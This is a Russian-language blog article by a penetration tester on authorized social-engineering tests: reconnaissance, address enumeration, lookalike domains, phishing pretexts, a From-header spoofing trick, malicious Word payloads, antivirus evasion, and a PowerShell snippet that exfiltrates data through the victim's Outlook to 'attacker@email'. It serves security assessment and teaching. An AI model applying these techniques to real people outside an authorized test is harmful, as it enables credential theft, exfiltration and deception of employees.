Главная » Пентест » Инструменты и техники социальной инженерии
социальная инженерия обучение

Инструменты и техники социальной инженерии

Какой же пентест без социальной инженерии, верно? Социотехническое тестирование в наше время стало совершенно обычным делом, и мне не раз приходилось заниматься им в рамках работ по анализу защищенности. Я расскажу вам о техниках социальной инженерии, которые идут в ход, и о разнообразных тонкостях, которых в нашем деле — великое множество.

Я думаю, об актуальности социальной инженерии говорить не приходится. О действиях APT-группировок и об эпидемиях рансомвари, распространяемой по почте, вы и так, скорее всего, постоянно читаете в новостях: Carbanak, Buhtrap, BlackOasis, GHOUL — за примерами таких атак далеко ходить не нужно.

Еще по теме: Примеры социальной инженерии

Цели тестирования

Когда договариваетесь с заказчиком, первым делом нужно убедиться, что вы оба верно представляете себе цели тестирования. Заказчик обычно хочет:

  • подготовить или оценить работу центра реагирования на инциденты (CERT, SOC);
  • оценить осведомленность сотрудников;
  • корректно настроить спам-фильтры, песочницы и антивирусы.

В любом из этих случаев ваша задача будет заключаться в том, чтобы узнать, как пользователи реагируют на фишинговые рассылки, но недопонимания все равно случаются. Бывало, что после нашей рассылки заказчик просил расследовать инцидент, забыв о том, что заказывал пентест. Или ИТ-отдел заказчика, видя аномалию почтового трафика, блокировал наши рассылки.

Но что в таком случае протестировал заказчик? Группу реагирования? Мониторинг? Точно — не реакцию пользователей. Так что нужно обговаривать подобные моменты и понимать, какие цели мы преследуем. В зависимости от них можно будет определить, как проводить дальнейшую рассылку.

В итоге если заказчик хочет от нас, чтобы мы тестировали именно пользователей, то письма можно слать всем им, договорившись, чтобы рассылки не блокировали. Но если ставится задача не только проверить реакцию сотрудников, но и протестировать спам-фильтры, мы обычно выбираем небольшое количество пользователей, которые наименее осведомлены в вопросах безопасности, например бухгалтерию, административный отдел или юристов — в общем, всех, кто не связан с ИТ. И рассылаем только им: с задержкой по времени и индивидуальным подходом к каждому.

Также нужно помнить, что наши цели не те же самые, что у настоящих злоумышленников. Для них главное — заразить рабочие станции пользователей и развить атаку, попав во внутреннюю инфраструктуру организации, чтобы, например, получить конфиденциальную информацию. Для нас же важно лишь узнать, как среагировал пользователь: открыл ли вложение, в какое время, какие у него ОС и браузер — в общем, все, что может помочь заказчику устранить проблемы.

Что роднит пентест с настоящей атакой — это обход всех возможных политик безопасности. Нам точно так же, как и злоумышленнику, нужно доставить фишинговую ссылку или пейлоад до рабочей станции пользователя.

Модель нарушителя

Существует несколько моделей нарушителя, которые делятся на две части: внутренний нарушитель и внешний. Внутренний либо обладает инсайдерской информацией, либо даже находится внутри сети. У внешнего имеется минимальный набор знаний: название организации, отрасль и другая публичная информация.

Точно так же делятся и рассылки. Если вы находитесь в роли внешнего нарушителя, то будете, например, рассылать письма от имени какой-то сторонней организации с просьбой посмотреть выписку по счету, открыв вложение или перейдя по ссылке. Я, кстати, такие рассылки не очень люблю из-за их низкой результативности. Чтобы ее повысить, нужно как можно больше внимания уделить разведке и по возможности найти максимум информации о компании: адреса email сотрудников, географическое положение, структура компании и другие подобные вещи.

Если использовать модель внутреннего нарушителя, всю эту информацию можно узнать у заказчика. Причем здесь уже можно попросить и сами адреса сотрудников для рассылки.

Разведка: пассивный сбор

Утилит для автоматизированного сбора информации просто огромное количество — примерно по одному на каждого жителя Земли. Вот несколько наиболее известных: SpiderFoot, intrigue core, DataSploit, Maltego, theHarvester. Но большинство из них дают крайне посредственные результаты при работе в русском сегменте.

Для себя я выбрал несколько утилит, лишенных этого недостатка. Среди них: SimplyEmail, ePochta Extractor и FOCA. По личному опыту могу сказать, что SimplyEmail хорошо зарекомендовал себя в работе по СНГ и поиску email-адресов. FOCA же помогает структурировать и быстро анализировать разные документы из поисковых систем и сайтов заказчика, искать адреса и другую информацию.

Кроме того, такую же разведку я делаю по всей инфраструктуре заказчика, как при обычном пентесте. Анализирую DNS, ищу поддомены, смотрю, какие используются IP, и так далее. Большинство нужных для этого утилит перечислены на osintframework.com. Вот краткий список того, чем я чаще всего пользуюсь:

Много результатов обычно дает и анализ социальных сетей: ВК, «Одноклассники», Facebook, LinkedIn и прочие. Все они позволяют указать место работы, по которому мы и будем искать. Для парсинга существуют разные утилиты. Например, linkedin_profiles.py и corpint, также посмотри репозиторий aleph data, там много утилит для анализа информации из социальных сетей.

Не стоит упускать возможность порыскать и по Instagram и ВК, где доступен поиск по геолокации. Если вы точно знаете, где расположена компания, то можете посмотреть фотографии, которые делают сотрудники на своем рабочем месте. Например, попадаются кадры с экранами мониторов, а на них — внутренние номера и почтовые адреса, иконки программ. Одно знание о версии Outlook может оказаться очень ценным (об этом — ниже). Иногда я слышу истории о том, что сотрудники на стикерах пишут свои пароли, но, честно, за всю свою практику я такого не встречал.

социальная инженерия обучение

Полезно бывает и анализировать лайки в «Фейсбуке». Часто компании во внутренних рассылках пишут что-нибудь вроде «вот наша страница в Facebook, поставьте ей лайк и подпишитесь, пожалуйста». Такой лайк может быть косвенным признаком того, что человек работает в компании.

Кроме этого, существуют отличные ресурсы вроде databases.today: mmnt, ftplike, metabot, rapid-search-engine, alluc.ee и так далее. Там можно найти слитые базы данных и искать адреса локально. Ну и конечно, есть всем известный leakedsource, где собираются утекшие базы данных. Правда, на нем всего три миллиарда учетных записей. Есть ресурс круче — с пятью миллиардами, это weleakinfo. Там можно сделать поиск по маске и найти адреса с определенного домена (то есть все адреса какой-то конкретной компании), что чаще всего дает внушительный результат.

социальная инженерия обучение

Если у компании «странные» политики безопасности и принудительная смена пароля вовсе отсутствует, то бывает так, что модель внешнего нарушителя становится внутренней (с разрешения заказчика, конечно), потому что пароль учетной записи подходит и можно зайти в его почту и рассылать письма с внутреннего адреса. Почти всегда результаты потрясающие.

Разведка: активный сбор

Кроме имейлов, полезно выяснять должности сотрудников и общую структуру компании. Также я всегда стараюсь собирать ФИО, нам это еще пригодится на этапе составления внешнего вида письма. Ну и конечно, в ход пойдут разные инструменты для перебора директорий — часто можно найти какие-то директории, куда сотрудники скидывают документы. Там в числе прочего могут обнаружиться полезные метаданные или непубличная информация о компании, оставленные временные файлы. А еще, бывает, попадаются фотографии, сделанные в офисе, и другие интересные вещи.

социальная инженерия обучение

Один из инструментов, которые всегда под рукой, — это Google (см. статью «Google Dorks»). Также вам пригодятся утилиты и словари для перебора директорий: DIRB, dirsearch, fuzz.txt и так далее.

В итоге все собранные и сгенерированные результаты по логинам email придется перебирать на SMTP, например при помощи smtp-user-enum.pl. По опыту могу сказать, что команды VRFY и EXPN почти всегда отключены, работает только RCPT. Тут встречается глупая, но тем не менее распространенная ошибка: люди берут базу из 1000 имен и 9000 фамилий и пытаются брутить по ним. На это уходит невероятное количество времени и трафика. Шанс, что админы заметят его и заблокируют, возрастает почти до 100%. Так делать не нужно.

Если вы уже установил, что в корпоративных адресах используется первая буква имени, то берите топ букв для мужских и женских имен. Для мужчин это n, i, p, e, k, m и так далее в порядке убывания распространенности, для женщин — a, e, m, d, y, o, n, t, v… 9000 фамилий тоже брать не нужно — достаточно нескольких сотен наиболее популярных.

Другая частая ошибка — пытаться сгенерировать женские фамилии из мужских, добавляя окончание -а. Это очень грубый метод, который дает много ошибок, — гораздо лучше будет использовать раздельные базы фамилий.

Также надо помнить, что, помимо SMTP, существует такая штука, как Lync (сейчас она называется Skype for Business), и у нее свой API, на котором тоже отлично можно валидировать учетные записи пользователей (см. скрипт lyncsmash.py). Встречаются и другие внутренние корпоративные сервисы, которые можно найти на поддоменах.

Домен

В какой-то момент вам понадобится создать фишинговый домен — он бывает нужен как для рассылки, так и для создания фейк сайта или портала компании. Для этого есть утилита URLCrazy, но она не умеет делать гомографические домены (домены, в которых можно использовать Unicode), а вот CATPHISH умеет. Помимо этого, в наборе утилит хорошо иметь dnstwist.

техники социальной инженерии

С регистрацией таких доменов, кстати, была проблема: когда я пробовал заменить символом Unicode только одну букву, все доменные регистраторы отказывали мне и требовали заменить на Unicode все символы. В наших целях это часто проблематично, потому что полностью совпадающих символов не так много, а появления всяких дефисов и точек в адресе хочется избежать. Из тех регистраторов, с которыми я имел дело, единственный, который разрешил менять один символ, — это GoDaddy.

Также я проверил, как разные почтовые клиенты парсят punycode — репрезентацию юникодных доменов в виде ASCII (вы наверняка встречал эти сочетания типа xn--). Так вот, выяснилось, что Outlook 2013, 2015 и 2016, а также The Bat вместо них показывают Unicode, пряча от пользователя наш небольшой трюк. В IBM Notes, Thunderbird, Mail из Windows 10 и macOS и Web Outlook такое, к сожалению, не сработает.

техники социальной инженериитехники социальной инженерии

Как снизить вероятность того, что спам-фильтры будут заворачивать рассылку? В первую очередь надо грамотно настроить Sender Policy Framework (example.org. IN TXT «v=spf1 +a +mx +all»). Тогда почтовый сервер сможет убедиться, что отправленное вами письмо действительно отправлено с того IP, который указан в DNS-записи A или MX.

Точно так же с DomainKeys Identified Mail. Попробую объяснить упрощенно: грубо говоря, есть публичный и приватный ключи, и, когда вы отправляете письмо со своего сервера, он подписывает ваше письмо; одна запись будет находиться на сервере DNS, другая — внутри письма. Во время приема письма сервер проверяет, сходятся ли ключи, и если да, то повышает доверие к письму. Также необходимо знать о записи PTR. Это обратная запись DNS: она находится на сервере и говорит о том, что ресурс ссылается на какое-то определенное доменное имя.

Проверить, все ли верно настроено, и узнать рейтинг доверия к письму позволяет сервис mail-tester.

Предварительная рассылка

Если заказчик с пониманием относится к тестированию и разрешает нам сделать предварительную рассылку, мы выбираем десять-пятнадцать пользователей и шлем им на почту письма, на которые с большой вероятностью ответят. Не фишинг с акциями или призами, а какую-нибудь просьбу, например: «Ваш коллега сказал, что вы можете мне помочь и прислать внутренний номер другого сотрудника». В ответе обычно приходит что-то вроде «Нет, я не знаю, кто это такая…». Но это и не важно: важно просто получить ответ. Кроме этого, можно попробовать отправить письмо на несуществующий адрес: часто SMTP-сервер присылает ответное письмо об отсутствии адресата.

Что мы получаем таким образом? Самое главное — наличие или отсутствие корпоративной подписи и ее внешний вид. Кроме этого, мы узнаем, как в компании выглядит заголовок From и как написаны имена и фамилии. Например, фамилии могут быть на русском или транслитом, причем транслитерация может выглядеть по-разному: ю может писаться как ju, так и yu. Или, например, ФИО может быть написано целиком. В общем, куча разных вариантов, которые придется учесть на этапе рассылки. Помимо этого, вы можете получить внутренний телефонный номер — он может пригодиться для социалки по телефону.

Можно даже завязать беседу с сотрудником и в одном из сообщений отправить ссылку на фишинговую страницу. По ссылке при этом может быть просто 404. Нередко бывают случаи, когда пользователь в ответ отправляет вам скрин, а на нем может быть видно, какой браузер или почтовый клиент используется.

Заголовки писем — тоже важный источник информации. Там наверняка отметятся антивирусы и другие средства защиты — они любят это делать, причем сообщают и версии, и дату последнего обновления баз. Ну и конечно, из заголовков можно получить название почтовика и некоторые внутренние адреса (что может дальше пригодиться для пентеста). Ни в коем случае не проходите мимо такой возможности!

техники социальной инженерии

Содержимое письма

Я очень не люблю социалку с письмами от начальства, а также про зарплаты, увольнения и прочее в таком духе. Кого хоть раз увольняли через письмо? А письма от начальства сейчас выглядят примерно так же правдоподобно, как в 2005 году выглядели письма «Вы миллионный посетитель, введите данные карты». В общем, скучно, глупо и неинтересно.

Гораздо больше мне нравится придумывать что-нибудь пооригинальнее. Например, трюк с недоставленными сообщениями, когда пользователю приходит уведомление об ошибке доставки письма, которое он не отправлял. Обычно он думает: «Что за письмо? Я не отправлял такое. Какое-то вложение, ну-ка, ну-ка!»

Привязка ко времени тоже чаще всего оказывается удачной идеей. Любой большой праздник вроде Нового года или Восьмого марта отлично годится. Пишем: «Надо сдать деньги, вот список тех, кто не хочет сдавать, запишите себя, если не хотите» — и прикладываем документ Excel. Редко кто откажется от соблазна глянуть на позорный список.

Как вариант — можно изображать внутреннюю рассылку: попросить подойти в бухгалтерию, распечатав и заполнив какие-то бумажки, принести какие-то справки, которые предварительно необходимо открыть. В общем, все, что приходит на почту каждый день и покажется пользователю обыденным, но при этом что обязательно откроют, если в письме будет написано, что это срочно.

Фишинг

С фишингом все просто. Если мы изображаем внутреннюю рассылку, то достаточно попросить перейти по ссылке на корпоративный портал, где для входа потребуется ввести свой логин и пароль в обычную Basic-аутентификацию. Либо мы можем подделать оповещение от одного из сервисов, используемых в компании (Confluence, Jira и так далее). Как раз тут нам и пригодится брутфорс поддоменов, в ходе которого вы выясните, что именно используется. Не забудьте прикрепить favicon.ico!

Оформление

Оформление — одна из самых важных частей, от которой будет зависеть успешность рассылки. Именно благодаря оформлению повышается доверие пользователя к письму. Во-первых, попытайся получить образец корпоративной подписи: подделать ее будет особенно полезно, если она заметная — например, с картинкой. Иногда она так хорошо привлекает внимание, что люди даже не посмотрят на сторонний домен.

Занятный факт: самое любимое слово у каждого человека — это его имя. Если обращаться к сотруднику по имени, а еще лучше — с отчеством, то это повысит шансы, что он откроет письмо и, возможно, вложение.

Еще одна интересная вещь — это CC. Подредактировав заголовок письма, в копию можно поставить вообще любых пользователей. При этом письмо не отправится им, но в клиенте будет отображаться, что они есть в копии. Туда можно внести любых сотрудников, и это тоже неплохо повышает уровень доверия пользователя.

Ребята с Defcon Moscow недавно нашли баг в Outlook: заголовок From парсится неправильно, что дает возможность указать фейковую почту вместо реальной. Отображаться при этом будет именно фейковая, но письмо не считается спамом и проходит все проверки. Если отправить письмо с заголовком From: Fake Mail <fake@mail.ru> <realemail@mail.ltd>, в некоторых клиентах оно будет отображаться как отправленное с fake@mail.ru.

социальная инженерия техники

Другой классный трюк, о котором стоит помнить, — это возможность использовать формат переписки. Делаем письмо с ответом на другое письмо, которого в реальности не было. Например, как бы приводим цитату письма от начальства, где сообщается, что что-то нужно срочно сделать, и прикладываем документ. Внимание пользователя в таком случае гарантировано, и, по моей статистике, шанс того, что он откроет вложение, тоже значительно повышается.

технологии социальной инженерии

В идеале вы должны соблюсти шрифты, цвет и прочие особенности письма с учетом того, какой почтовик вы подделываете. Например, в Outlook первое письмо всегда пишется шрифтом Courier и первое сообщение — черным цветом, а остальные уже синие. Это мелкая особенность, но достижение максимальной правдоподобности в данном случае очень важно.

Ну и конечно, вы можете захотеть скрыть адреса ссылок — например, в HTML можно подставить в атрибут href одно, а в текст ссылки — совсем другое. Но спам-фильтр, увидев такое, может завернуть письмо. А вот From письма стоит подделать так, чтобы оно выглядело как у всех в фирме. Обязательно посмотрите, что конкретно там указано, — имя и фамилия, или ФИО целиком, или еще какой-нибудь вариант.

Не забывайте и про Open Redirect. Его, на мой взгляд, вполне можно считать уязвимостью. В социалке он работает очень хорошо: например, мы можем использовать главный домен банка, а дальше в ссылке — Open Redirect, который будет перекидывать на наш домен.

технологии социальной инженерии

Пейлоад

Конечно, вы можете использовать Dynamic Data Exchange, который недавно был очень популярен, но теперь его блокируют почти все антивирусы. Можете упаковывать в архив с паролем, чтобы пользователь минут пять пытался этот архив открыть. Можете взять JS, MHT и MHTA, которые тоже давно блокируются антивирусами, или RTF, где тоже недавно была найдена уязвимость, которую потом эксплуатировали многие APT-группировки.

Но на дворе 2018 год, поэтому ничего из этого я не использую — только если окажется, что что-то вдруг из этого списка не блокируется. Я стараюсь применять либо загрузку с внешних ресурсов (в документ Word вставляется объект с загрузкой по внешней ссылке, а в ответ мы можем получить GET-запрос и в некоторых случаях — NTLM-хеш, если работать с Responder), либо OLE: опять же вставляем такой объект в документ Word, лепим на него крутую иконку (например, еще одного документа Excel или архива) и получаем в целом валидный документ, который требует от пользователя всего три клика.

взлом социальная инженерия

Проблемы

Один из частых вопросов, на которые нет четкого ответа, — это во сколько отправлять сообщения, чтобы его сразу просмотрело как можно больше людей. В девять утра или в полдень? Или перед самым окончанием рабочего дня?

Исследователи здесь расходятся во мнении. Кто-то рекомендует делать рассылку сразу после обеда: когда пользователь сыт, его бдительность может быть снижена. Некоторые говорят, что лучше прямо до обеда, потому что пик офисной активности — это 11–13 часов и сотрудник может быть невнимательным из-за попыток делать несколько дел одновременно. Другой вариант — слать письма в районе шести вечера, когда люди пытаются как можно скорее закончить все дела, чтобы пойти домой. Тут решать вам.

Другая частая проблема — блокировка антивирусами, спам-фильтрами и другими средствами защиты. Письма могут просто не проходить песочницу. Существуют разные методы обхода песочниц, прочесть о них вы можете в статье «Как определить, запуск приложения в песочнице». Но дело обычно сильно осложняется тем, что приходится работать методом черного ящика и вы не знаете ничего о конфигурации.

Еще один полезный интересный трюк использует такую замечательную особенность Word, как восстановление битых документов. Поскольку документ — это архив ZIP, его обычно можно открыть архиватором. Но если нарушить, например, целостность заголовка или последовательность байтов внутри тела такого файла, то сделать это будет невозможно. Таким образом, файл проходит антивирус, но после пары предупреждений откроется в Word.

взлом социальная инженерия

И третья большая проблема — получить результат, когда выходы в интернет заблокированы. В компании могут быть вдруг закрыты и соединения по HTTP, и даже DNS. Что делать, когда трафик вообще не проходит? Плохим способом решить эту проблему может быть отправка рассылки на личную почту сотрудников. Заказчики обычно такого не допускают, но исключения бывают.

Но давайте подумаем: если письмо все же получено, значит, какой-то трафик все же проходит? Бинго! Работает почта, значит, можно использовать ее. Доступ к тому же Outlook можно получить через COM-объект и отправить письмо самому себе с почты сотрудника таким кодом:

$Outlook = New-Object -ComObject Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "attacker@email"
$Mail.Subject = "Subj"
$Mail.Body = "Message"
$Mail.Send()

Выводы

Что я чаще всего советую заказчикам? Набор обычно почти всегда одинаков: мониторинг аномалий почтового трафика, настройка песочниц, спам-фильтров и других средств защиты, постоянное обучение сотрудников и (барабанная дробь) проведение социотехнического тестирования!

Еще по теме: Социальная инженерия и психология

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *